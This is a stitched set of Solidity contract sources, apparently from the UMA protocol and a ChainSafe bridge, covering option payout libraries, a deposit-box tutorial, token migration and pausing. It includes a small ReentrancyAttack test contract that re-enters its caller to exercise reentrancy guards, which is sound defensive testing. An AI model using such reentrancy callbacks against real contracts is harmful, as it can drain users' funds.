return financialProductTransformedIdentifiers[msg.sender];
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title KPI Options Financial Product Library
* @notice Adds custom tranformation logic to modify the price and collateral requirement behavior of the expiring multi party contract.
* If a price request is made pre-expiry, the price should always be set to 2 and the collateral requirement should be set to 1.
* Post-expiry, the collateral requirement is left as 1 and the price is left unchanged.
*/
contract KpiOptionsFinancialProductLibrary is FinancialProductLibrary, Lockable {
/**
* @notice Returns a transformed price for pre-expiry price requests.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
// If price request is made before expiry, return 2. Thus we can keep the contract 100% collateralized with
// each token backed 1:2 by collateral currency. Post-expiry, leave unchanged.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(2);
} else {
return oraclePrice;
}
}
/**
* @notice Returns a transformed collateral requirement that is set to be equivalent to 2 tokens pre-expiry.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled to a flat rate.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Always return 1.
return FixedPoint.fromUnscaledUint(1);
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title CoveredCall Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out a portion of that, at expiry, if ETHUSD is above a set strike. If
* ETHUSD is below that strike, the contract pays out 0. The fraction paid out if above the strike is defined by
* (oraclePrice - strikePrice) / oraclePrice;
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH.
* If ETHUSD = $600 at expiry, the call is $200 in the money, and the contract pays out 0.333 WETH (worth $200).
* If ETHUSD = $800 at expiry, the call is $400 in the money, and the contract pays out 0.5 WETH (worth $400).
* If ETHUSD =< $400 at expiry, the call is out of the money, and the contract pays out 0 WETH.
*/
contract CoveredCallFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => FixedPoint.Unsigned) private financialProductStrikes;
/**
* @notice Enables any address to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the covered call to be applied to the financial product.
* @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool.
* e) financialProduct must expose an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the call option payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThanOrEqual(strike)) {
return FixedPoint.fromUnscaledUint(0);
} else {
// Token expires to be worth the fraction of a collateral token that's in the money.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 100/500 = 0.2 WETH (worth $100).
// Note: oraclePrice cannot be 0 here because it would always satisfy the if above because 0 <= x is always
// true.
return (oraclePrice.sub(strike)).div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the covered call payout structure.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// Always return 1 because option must be collateralized by 1 token.
return FixedPoint.fromUnscaledUint(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Lockable.sol";
import "./ReentrancyAttack.sol";
// Tests reentrancy guards defined in Lockable.sol.
// Extends https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyMock.sol.
contract ReentrancyMock is Lockable {
uint256 public counter;
constructor() public {
counter = 0;
}
function callback() external nonReentrant {
_count();
}
function countAndSend(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("callback()"));
attacker.callSender(func);
}
function countAndCall(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("getCount()"));
attacker.callSender(func);
}
function countLocalRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
countLocalRecursive(n - 1);
}
}
function countThisRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1));
require(success, "ReentrancyMock: failed call");
}
}
function countLocalCall() public nonReentrant {
getCount();
}
function countThisCall() public nonReentrant {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("getCount()"));
require(success, "ReentrancyMock: failed call");
}
function getCount() public view nonReentrantView returns (uint256) {
return counter;
}
function _count() private {
counter += 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
// Tests reentrancy guards defined in Lockable.sol.
// Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyAttack.sol.
contract ReentrancyAttack {
function callSender(bytes4 data) public {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = msg.sender.call(abi.encodeWithSelector(data));
require(success, "ReentrancyAttack: failed call");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../common/FeePayer.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/implementation/ContractCreator.sol";
/**
* @title Token Deposit Box
* @notice This is a minimal example of a financial template that depends on price requests from the DVM.
* This contract should be thought of as a "Deposit Box" into which the user deposits some ERC20 collateral.
* The main feature of this box is that the user can withdraw their ERC20 corresponding to a desired USD amount.
* When the user wants to make a withdrawal, a price request is enqueued with the UMA DVM.
* For simplicty, the user is constrained to have one outstanding withdrawal request at any given time.
* Regular fees are charged on the collateral in the deposit box throughout the lifetime of the deposit box,
* and final fees are charged on each price request.
*
* This example is intended to accompany a technical tutorial for how to integrate the DVM into a project.
* The main feature this demo serves to showcase is how to build a financial product on-chain that "pulls" price
* requests from the DVM on-demand, which is an implementation of the "priceless" oracle framework.
*
* The typical user flow would be:
* - User sets up a deposit box for the (wETH - USD) price-identifier. The "collateral currency" in this deposit
* box is therefore wETH.
* The user can subsequently make withdrawal requests for USD-denominated amounts of wETH.
* - User deposits 10 wETH into their deposit box.
* - User later requests to withdraw $100 USD of wETH.
* - DepositBox asks DVM for latest wETH/USD exchange rate.
* - DVM resolves the exchange rate at: 1 wETH is worth 200 USD.
* - DepositBox transfers 0.5 wETH to user.
*/
contract DepositBox is FeePayer, ContractCreator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
// Represents a single caller's deposit box. All collateral is held by this contract.
struct DepositBoxData {
// Requested amount of collateral, denominated in quote asset of the price identifier.
// Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then
// this represents a withdrawal request for 100 USD worth of wETH.
FixedPoint.Unsigned withdrawalRequestAmount;
// Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`.
uint256 requestPassTimestamp;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps addresses to their deposit boxes. Each address can have only one position.
mapping(address => DepositBoxData) private depositBoxes;
// Unique identifier for DVM price feed ticker.
bytes32 private priceIdentifier;
// Similar to the rawCollateral in DepositBoxData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned private rawTotalDepositBoxCollateral;
// This blocks every public state-modifying method until it flips to true, via the `initialize()` method.
bool private initialized;
/****************************************
* EVENTS *
****************************************/
event NewDepositBox(address indexed user);
event EndedDepositBox(address indexed user);
event Deposit(address indexed user, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp);
event RequestWithdrawalExecuted(
address indexed user,
uint256 indexed collateralAmount,
uint256 exchangeRate,
uint256 requestPassTimestamp
);
event RequestWithdrawalCanceled(
address indexed user,
uint256 indexed collateralAmount,
uint256 requestPassTimestamp
);
/****************************************
* MODIFIERS *
****************************************/
modifier noPendingWithdrawal(address user) {
_depositBoxHasNoPendingWithdrawal(user);
_;
}
modifier isInitialized() {
_isInitialized();
_;
}
/****************************************
* PUBLIC FUNCTIONS *
****************************************/
/**
* @notice Construct the DepositBox.
* @param _collateralAddress ERC20 token to be deposited.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited.
* The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20
* currency deposited into this account, and it is denominated in the "quote" asset on withdrawals.
* An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
bytes32 _priceIdentifier,
address _timerAddress
)
public
ContractCreator(_finderAddress)
FeePayer(_collateralAddress, _finderAddress, _timerAddress)
nonReentrant()
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier");
priceIdentifier = _priceIdentifier;
}
/**
* @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required
* to make price requests in production environments.
* @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM.
* Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role
* in order to register with the `Registry`. But, its address is not known until after deployment.
*/
function initialize() public nonReentrant() {
initialized = true;
_registerContract(new address[](0), address(this));
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box.
* @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() {
require(collateralAmount.isGreaterThan(0), "Invalid collateral amount");
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) {
emit NewDepositBox(msg.sender);
}
// Increase the individual deposit box and global collateral balance by collateral amount.
_incrementCollateralBalances(depositBoxData, collateralAmount);
emit Deposit(msg.sender, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount`
* from their position denominated in the quote asset of the price identifier, following a DVM price resolution.
* @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time.
* Only one withdrawal request can exist for the user.
* @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw.
*/
function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount)
public
isInitialized()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount");
// Update the position object for the user.
depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount;
depositBoxData.requestPassTimestamp = getCurrentTime();
emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp);
// Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee.
FixedPoint.Unsigned memory finalFee = _computeFinalFees();
require(
_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee),
"Cannot pay final fee"
);
_payFinalFees(address(this), finalFee);
// A price request is sent for the current timestamp.
_requestOraclePrice(depositBoxData.requestPassTimestamp);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution),
* withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function executeWithdrawal()
external
isInitialized()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(
depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(),
"Invalid withdraw request"
);
// Get the resolved price or revert.
FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp);
// Calculate denomated amount of collateral based on resolved exchange rate.
// Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH.
// Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH.
FixedPoint.Unsigned memory denominatedAmountToWithdraw =
depositBoxData.withdrawalRequestAmount.div(exchangeRate);
// If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data.
if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) {
denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral);
// Reset the position state as all the value has been removed after settlement.
emit EndedDepositBox(msg.sender);
}
// Decrease the individual deposit box and global collateral balance.
amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw);
emit RequestWithdrawalExecuted(
msg.sender,
amountWithdrawn.rawValue,
exchangeRate.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external isInitialized() nonReentrant() {
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal");
emit RequestWithdrawalCanceled(
msg.sender,
depositBoxData.withdrawalRequestAmount.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
}
/**
* @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but
* because this is a minimal demo they will simply exit silently.
*/
function emergencyShutdown() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently.
*/
function remargin() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Accessor method for a user's collateral.
* @dev This is necessary because the struct returned by the depositBoxes() method shows
* rawCollateral, which isn't a user-readable value.
* @param user address whose collateral amount is retrieved.
* @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal).
*/
function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral);
}
/**
* @notice Accessor method for the total collateral stored within the entire contract.
* @return the total fee-adjusted collateral amount in the contract (i.e. across all users).
*/
function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(priceIdentifier, requestedTime);
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(depositBoxData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(depositBoxData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal {
depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
depositBoxData.requestPassTimestamp = 0;
}
function _depositBoxHasNoPendingWithdrawal(address user) internal view {
require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal");
}
function _isInitialized() internal view {
require(initialized, "Uninitialized contract");
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime);
// For simplicity we don't want to deal with negative prices.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from
// which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the
// contract.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "./VotingToken.sol";
/**
* @title Migration contract for VotingTokens.
* @dev Handles migrating token holders from one token to the next.
*/
contract TokenMigrator {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
VotingToken public oldToken;
ExpandedIERC20 public newToken;
uint256 public snapshotId;
FixedPoint.Unsigned public rate;
mapping(address => bool) public hasMigrated;
/**
* @notice Construct the TokenMigrator contract.
* @dev This function triggers the snapshot upon which all migrations will be based.
* @param _rate the number of old tokens it takes to generate one new token.
* @param _oldToken address of the token being migrated from.
* @param _newToken address of the token being migrated to.
*/
constructor(
FixedPoint.Unsigned memory _rate,
address _oldToken,
address _newToken
) public {
// Prevents division by 0 in migrateTokens().
// Also it doesn’t make sense to have “0 old tokens equate to 1 new token”.
require(_rate.isGreaterThan(0), "Rate can't be 0");
rate = _rate;
newToken = ExpandedIERC20(_newToken);
oldToken = VotingToken(_oldToken);
snapshotId = oldToken.snapshot();
}
/**
* @notice Migrates the tokenHolder's old tokens to new tokens.
* @dev This function can only be called once per `tokenHolder`. Anyone can call this method
* on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier.
* @param tokenHolder address of the token holder to migrate.
*/
function migrateTokens(address tokenHolder) external {
require(!hasMigrated[tokenHolder], "Already migrated tokens");
hasMigrated[tokenHolder] = true;
FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId));
if (!oldBalance.isGreaterThan(0)) {
return;
}
FixedPoint.Unsigned memory newBalance = oldBalance.div(rate);
require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/ExpandedERC20.sol";
contract TokenSender {
function transferERC20(
address tokenAddress,
address recipientAddress,
uint256 amount
) public returns (bool) {
IERC20 token = IERC20(tokenAddress);
token.transfer(recipientAddress, amount);
return true;
}
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IDepositExecute.sol";
import "./IBridge.sol";
import "./IERCHandler.sol";
import "./IGenericHandler.sol";
/**
@title Facilitates deposits, creation and votiing of deposit proposals, and deposit executions.
@author ChainSafe Systems.
*/
contract Bridge is Pausable, AccessControl {
using SafeMath for uint256;
uint8 public _chainID;
uint256 public _relayerThreshold;
uint256 public _totalRelayers;
uint256 public _totalProposals;
uint256 public _fee;
uint256 public _expiry;
enum Vote { No, Yes }
enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled }
struct Proposal {
bytes32 _resourceID;
bytes32 _dataHash;
address[] _yesVotes;
address[] _noVotes;
ProposalStatus _status;
uint256 _proposedBlock;
}
// destinationChainID => number of deposits
mapping(uint8 => uint64) public _depositCounts;
// resourceID => handler address
mapping(bytes32 => address) public _resourceIDToHandlerAddress;
// depositNonce => destinationChainID => bytes
mapping(uint64 => mapping(uint8 => bytes)) public _depositRecords;
// destinationChainID + depositNonce => dataHash => Proposal
mapping(uint72 => mapping(bytes32 => Proposal)) public _proposals;
// destinationChainID + depositNonce => dataHash => relayerAddress => bool
mapping(uint72 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal;
event RelayerThresholdChanged(uint256 indexed newThreshold);
event RelayerAdded(address indexed relayer);
event RelayerRemoved(address indexed relayer);
event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce);
event ProposalEvent(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID,
bytes32 dataHash
);
event ProposalVote(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID
);
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
modifier onlyAdmin() {
_onlyAdmin();
_;
}
modifier onlyAdminOrRelayer() {
_onlyAdminOrRelayer();
_;
}
modifier onlyRelayers() {
_onlyRelayers();
_;
}
function _onlyAdminOrRelayer() private {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender),
"sender is not relayer or admin"
);
}
function _onlyAdmin() private {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role");
}
function _onlyRelayers() private {
require(hasRole(RELAYER_ROLE, msg.sender), "sender doesn't have relayer role");
}
/**
@notice Initializes Bridge, creates and grants {msg.sender} the admin role,
creates and grants {initialRelayers} the relayer role.
@param chainID ID of chain the Bridge contract exists on.
@param initialRelayers Addresses that should be initially granted the relayer role.
@param initialRelayerThreshold Number of votes needed for a deposit proposal to be considered passed.
*/
constructor(
uint8 chainID,
address[] memory initialRelayers,
uint256 initialRelayerThreshold,
uint256 fee,
uint256 expiry
) public {
_chainID = chainID;
_relayerThreshold = initialRelayerThreshold;
_fee = fee;
_expiry = expiry;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setRoleAdmin(RELAYER_ROLE, DEFAULT_ADMIN_ROLE);
for (uint256 i; i < initialRelayers.length; i++) {
grantRole(RELAYER_ROLE, initialRelayers[i]);
_totalRelayers++;
}
}
/**
@notice Returns true if {relayer} has the relayer role.
@param relayer Address to check.
*/
function isRelayer(address relayer) external view returns (bool) {
return hasRole(RELAYER_ROLE, relayer);
}
/**
@notice Removes admin role from {msg.sender} and grants it to {newAdmin}.
@notice Only callable by an address that currently has the admin role.
@param newAdmin Address that admin role will be granted to.
*/
function renounceAdmin(address newAdmin) external onlyAdmin {
grantRole(DEFAULT_ADMIN_ROLE, newAdmin);
renounceRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
@notice Pauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminPauseTransfers() external onlyAdmin {
_pause();
}
/**
@notice Unpauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminUnpauseTransfers() external onlyAdmin {
_unpause();
}
/**
@notice Modifies the number of votes required for a proposal to be considered passed.
@notice Only callable by an address that currently has the admin role.
@param newThreshold Value {_relayerThreshold} will be changed to.
@notice Emits {RelayerThresholdChanged} event.
*/
function adminChangeRelayerThreshold(uint256 newThreshold) external onlyAdmin {
_relayerThreshold = newThreshold;
emit RelayerThresholdChanged(newThreshold);
}
/**
@notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be added.
@notice Emits {RelayerAdded} event.
*/
function adminAddRelayer(address relayerAddress) external onlyAdmin {
require(!hasRole(RELAYER_ROLE, relayerAddress), "addr already has relayer role!");
grantRole(RELAYER_ROLE, relayerAddress);
emit RelayerAdded(relayerAddress);
_totalRelayers++;
}
/**
@notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be removed.
@notice Emits {RelayerRemoved} event.
*/
function adminRemoveRelayer(address relayerAddress) external onlyAdmin {
require(hasRole(RELAYER_ROLE, relayerAddress), "addr doesn't have relayer role!");
revokeRole(RELAYER_ROLE, relayerAddress);
emit RelayerRemoved(relayerAddress);
_totalRelayers--;
}
/**
@notice Sets a new resource for handler contracts that use the IERCHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetResource(
address handlerAddress,
bytes32 resourceID,
address tokenAddress
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IERCHandler handler = IERCHandler(handlerAddress);
handler.setResource(resourceID, tokenAddress);
}
/**
@notice Sets a new resource for handler contracts that use the IGenericHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
